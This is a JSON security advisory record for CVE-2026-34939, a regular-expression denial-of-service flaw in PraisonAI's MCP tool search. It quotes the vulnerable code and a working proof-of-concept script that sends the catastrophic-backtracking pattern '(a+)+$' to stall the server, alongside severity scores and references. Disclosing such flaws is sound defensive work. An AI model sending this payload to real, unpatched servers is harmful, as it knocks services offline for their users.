{"id":"CVE-2026-34939","aliases":["CVE-2026-34939","GHSA-8w9j-hc3g-3g7f","PYSEC-2026-2907"],"related":[],"kind":"vulnerability","state":"published","title":"PraisonAI: ReDoS via Unvalidated User-Controlled Regex in MCPToolIndex.search_tools()","summary":"PraisonAI is a multi-agent teams system. Prior to version 4.5.90, MCPToolIndex.search_tools() compiles a caller-supplied string directly as a Python regular expression with no validation, sanitization, or timeout. A crafted regex causes catastrophic backtracking in the re engine, blocking the Python thread for hundreds of seconds and causing a complete service outage. This issue has been patched in version 4.5.90.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"PraisonAI is a multi-agent teams system. Prior to version 4.5.90, MCPToolIndex.search_tools() compiles a caller-supplied string directly as a Python regular expression with no validation, sanitization, or timeout. A crafted regex causes catastrophic backtracking in the re engine, blocking the Python thread for hundreds of seconds and causing a complete service outage. This issue has been patched in version 4.5.90.","source":"cvelist"},{"lang":"en","text":"### Summary\n\n`MCPToolIndex.search_tools()` compiles a caller-supplied string directly as a Python regular expression with no validation, sanitization, or timeout. A crafted regex causes catastrophic backtracking in the `re` engine, blocking the Python thread for hundreds of seconds and causing a complete service outage.\n\n### Details\n\n`tool_index.py:365` (source) -> `tool_index.py:368` (sink)\n```python\n# source -- query taken directly from caller, no validation\ndef search_tools(self, query: str) -> List[ToolInfo]:\n    import re\n\n# sink -- compiled and applied with no timeout or exception handling\n    pattern = re.compile(query, re.IGNORECASE)\n    for tool in self.get_all_tools():\n        if pattern.search(tool.name) or pattern.search(tool.hint):\n            matches.append(tool)\n```\n\n### PoC\n```python\n# tested on: praisonai==1.5.87 (source install)\n# install: pip install -e src/praisonai\nimport sys, time, json\nsys.path.insert(0, 'src/praisonai')\nfrom pathlib import Path\n\nmcp_dir = Path.home() / '.praison' / 'mcp' / 'servers' / 'test_server'\nmcp_dir.mkdir(parents=True, exist_ok=True)\n(mcp_dir / '_index.json').write_text(json.dumps([\n    {\"name\": \"a\" * 30 + \"!\", \"hint\": \"a\" * 30 + \"!\", \"server\": \"test_server\"}\n]))\n(mcp_dir / '_status.json').write_text(json.dumps({\n    \"server\": \"test_server\", \"available\": True, \"auth_required\": False,\n    \"last_sync\": time.time(), \"tool_count\": 1, \"error\": None\n}))\n\nfrom praisonai.mcp_server.tool_index import MCPToolIndex\nindex = MCPToolIndex()\n\nstart = time.monotonic()\nresults = index.search_tools(\"(a+)+$\")\nprint(f\"Returned in {time.monotonic() - start:.1f}s\")\n# expected output: Returned in 376.0s\n```\n\n### Impact\n\nA single crafted query blocks the Python thread for hundreds of seconds, causing a complete service outage for the duration. The MCP server HTTP transport runs without an API key by default, making this reachable by any attacker on the network. Repeated requests sustain the DoS indefinitely.","format":"markdown","source":"ghsa"},{"lang":"es","text":"PraisonAI es un sistema de equipos multiagente. Antes de la versión 4.5.90, MCPToolIndex.search_tools() compila una cadena suministrada por el llamador directamente como una expresión regular de Python sin validación, saneamiento ni tiempo de espera. Una regex manipulada provoca retroceso catastrófico en el motor 're', bloqueando el hilo de Python durante cientos de segundos y causando una interrupción completa del servicio. Este problema ha sido parcheado en la versión 4.5.90.","source":"nvd"}],"published":"2026-04-01T23:21:08.000Z","modified":"2026-07-24T22:10:00.140Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H","score":6.5,"rating":"MEDIUM"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H","score":6.5,"rating":"MEDIUM"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H","score":6.5,"rating":"MEDIUM"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"rating":"HIGH"},{"scorer":"PyPA Advisory Database","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H","score":6.5,"rating":"MEDIUM"}],"cwes":["CWE-1333"],"affected":[{"ranges":[{"version":"< 4.5.90","status":"affected"}],"vendor":"MervinPraison","product":"PraisonAI","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"4.5.90"}],"ecosystem":"PyPI","package":"praisonai","purl":"pkg:pypi/praisonai","source":"ghsa"},{"ranges":[{"status":"affected","fixed":"4.5.90"}],"vendor":"praison","product":"praisonai","cpe":"cpe:2.3:a:praison:praisonai:*:*:*:*:*:*:*:*","source":"nvd"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"4.5.90"}],"ecosystem":"PyPI","package":"praisonai","purl":"pkg:pypi/praisonai","source":"pysec"}],"references":[{"url":"https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-8w9j-hc3g-3g7f","tags":["exploit","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34939","tags":["advisory"],"sources":["ghsa","pysec"]},{"url":"https://github.com/MervinPraison/PraisonAI","tags":["package"],"sources":["ghsa","pysec"]},{"url":"https://pypi.org/project/praisonai","tags":["package"],"sources":["pysec"]},{"url":"https://github.com/advisories/GHSA-8w9j-hc3g-3g7f","tags":["advisory"],"sources":["pysec"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"partial","date":"2026-04-06T19:05:21.329Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-34939","url":"https://www.cve.org/CVERecord?id=CVE-2026-34939","licence":"CVE Terms of Use","modified":"2026-04-06T19:05:34.164Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-8w9j-hc3g-3g7f","url":"https://github.com/advisories/GHSA-8w9j-hc3g-3g7f","licence":"CC-BY-4.0","modified":"2026-07-13T16:43:36.821Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-34939","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34939","licence":"Public domain","modified":"2026-07-24T22:10:00.140Z"},{"source":"pysec","name":"PyPA Advisory Database","id":"PYSEC-2026-2907","url":"https://osv.dev/vulnerability/PYSEC-2026-2907","licence":"CC-BY-4.0","modified":"2026-07-13T16:32:35.516Z"}],"updatedAt":"2026-11-25T22:59:17.934Z","epss":{"score":0.00457,"percentile":0.41351,"date":"2026-12-01T12:00:22.000Z"}}